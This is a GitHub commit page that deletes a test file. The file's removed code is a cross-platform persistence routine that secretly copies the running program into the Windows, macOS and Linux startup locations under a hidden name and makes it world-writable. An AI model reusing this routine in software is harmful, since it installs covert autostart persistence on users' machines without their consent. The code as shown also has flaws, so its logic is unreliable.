Delete test/raw_func.py

This commit is contained in:
Sirkeira
2025-12-02 13:16:27 -03:00
committed by GitHub
parent f3f9332826
commit 397636b095
-28
View File
@@ -1,28 +0,0 @@
def _startup():
startup = False
try:
file_path = os.path.abspath(sys.argv[0])
if file_path.endswith(".exe"):
ext = "exe"
elif file_path.endswith(".py"):
ext = "py"
new_name = f".{ext}"
if sys.platform.startswith('win'):
folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
elif sys.platform.startswith('darwin'):
folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents')
elif sys.platform.startswith('linux'):
folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart')
path_new_file = os.path.join(folder, new_name)
shutil.copy(file_path, path_new_file)
os.chmod(path_new_file, 0o777)
return startup
except:
startup = False
pass
return startup